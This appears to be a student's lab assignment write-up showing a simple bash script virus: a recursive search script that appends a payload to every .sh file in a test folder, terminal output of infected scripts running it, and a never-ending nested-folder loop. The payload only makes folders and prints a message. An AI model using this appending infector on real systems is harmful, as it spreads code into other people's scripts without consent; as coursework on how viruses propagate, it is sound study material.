

Assignment-7

Section I

1. Write a shell script that recursively searches for shell scripts in a folder [“test”, you have to create one folder “test” having subfolders and some sample shell scripts]

a) Sample Shell script files in the test directory

```
gurusaran@guru: ~/Desktop/test
File Actions Edit View Help
gurusaran@guru:~/Desktop/test$ ls
abc.txt  guru.txt  recursive_folder.sh  search.sh  test1  test2  test3  virus.sh
gurusaran@guru:~/Desktop/test$ cat **/*
#!/bin/bash
# A simple variable
greeting=Hello
name=Bob
echo $greeting $name

#!/bin/bash
echo "Hi how are u?"

#!/bin/bash
echo "Hello What r u doing"
```

b) a shell script that recursively searches for shell scripts in a folder(INCLUDED BOTH FIND AND ADDING CONTENTS TO TARGET SCRIPT)

```
File Actions Edit View Help
#!/bin/bash
find -type f -name '*.sh'

dirSearch(){
  for file in "$1"/*; do
    if [ -d "$file" ]; then
      dirSearch "$file"
    else
      case "$file" in
        *.sh)
          printf '\n' >> "$file"
          cat '/home/gurusaran/Desktop/test/virus.sh' >> "$file"
        esac
      fi
    done
  }
  dirSearch "$1"
}
```

c) Result:

```
gurusaran@guru:~/Desktop/test$ vi virus.sh
gurusaran@guru:~/Desktop/test$ bash search.sh /home/gurusaran/Desktop/test/
./test2/sample2.sh
./search.sh
./virus.sh
./test3/sample3.sh
./test1/sample.sh
./recursive_folder.sh
cat: /home/gurusaran/Desktop/test/virus.sh: input file is output file
You have been hacked! Have a good day
gurusaran@guru:~/Desktop/test$
```

.sh file present in the directory

Excecuting the virus script

2. Add the contents of your script to the target script [your script is to create a folder]

a) Virus script to create a folder.

```
File Actions Edit View Help
#!/bin/bash
mkdir Virus_Folder
echo "You have been hacked! Have a good day"
```

Creating Folder and displaying a msg.

b) Running the search.sg script

```
gurusaran@guru:~/Desktop/test$ vi virus.sh
gurusaran@guru:~/Desktop/test$ bash search.sh /home/gurusaran/Desktop/test/
./test2/sample2.sh
./search.sh
```

c) After running search.sh script contents of sample scripts in test directory

```
gurusaran@guru:~/Desktop/test$ cat **/*
#!/bin/bash
# A simple variable
greeting=Hello
name=Bob
echo $greeting $name
PLACES=
gurusaran
#!/bin/bash
mkdir Virus_Folder
echo "You have been hacked! Have a good day"
test2
test3
Virus_Folder
abc.txt
Documents
Music
Pictures
Downloads
guru.txt
recursive_folder.sh
search.sh
virus.sh
#!/bin/bash
echo "Hi how are u?"
NETWORK
Browse Network
#!/bin/bash
mkdir Virus_Folder
echo "You have been hacked! Have a good day"

#!/bin/bash

echo "Hello What r u doing"

#!/bin/bash
mkdir Virus_Folder
echo "You have been hacked! Have a good day"
```

Adding the contents of your script to the target script

3. Now whenever the infected script executed your script should also run

```
gurusaran@guru:~/Desktop/test$ ls
gurusaran@guru:~/Desktop/test$ ls
abc.txt  guru.txt  recursive_folder.sh  search.sh  test1  test2  test3  Virus_Folder  virus.sh
gurusaran@guru:~/Desktop/test$ cd test1/
gurusaran@guru:~/Desktop/test/test1$ ls
ecs.txt  sample.sh
gurusaran@guru:~/Desktop/test/test1$ bash sample.sh
Hello Bob
You have been hacked! Have a good day
gurusaran@guru:~/Desktop/test/test1$ ls
ecs.txt  sample.sh  Virus_Folder
gurusaran@guru:~/Desktop/test/test1$ cd ..
gurusaran@guru:~/Desktop/test$ cd test2/
gurusaran@guru:~/Desktop/test/test2$ ls
sample2.sh
gurusaran@guru:~/Desktop/test/test2$ bash sample2.sh
Hi how are u?
You have been hacked! Have a good day
gurusaran@guru:~/Desktop/test/test2$ ls
sample2.sh  Virus_Folder
gurusaran@guru:~/Desktop/test/test2$
```

Section II

Same as above, but your script is for creating folders recursively. Obviously, it will go in a loop. So please press CTRL+C / CTRL +Z for termination

```
File  Actions  Edit  View  Help
#!/bin/bash
while true
do
    mkdir Folder && cd Folder
    pwd
    sleep 1
done
```

```
gurusaran@guru:~/Desktop/test$ vi recursive_folder.sh
gurusaran@guru:~/Desktop/test$ bash recursive_folder.sh
/home/gurusaran/Desktop/test/Folder
/home/gurusaran/Desktop/test/Folder/Folder
/home/gurusaran/Desktop/test/Folder/Folder/Folder
/home/gurusaran/Desktop/test/Folder/Folder/Folder/Folder
/home/gurusaran/Desktop/test/Folder/Folder/Folder/Folder/Folder
/home/gurusaran/Desktop/test/Folder/Folder/Folder/Folder/Folder/Folder
/home/gurusaran/Desktop/test/Folder/Folder/Folder/Folder/Folder/Folder/Folder
/home/gurusaran/Desktop/test/Folder/Folder/Folder/Folder/Folder/Folder/Folder/Folder
^C
gurusaran@guru:~/Desktop/test$ ls
abc.txt  Folder  guru.txt  recursive_folder.sh  search.sh  test1  test2  test3  Virus_Folder  virus.sh
gurusaran@guru:~/Desktop/test$
```

Creating Folders recursively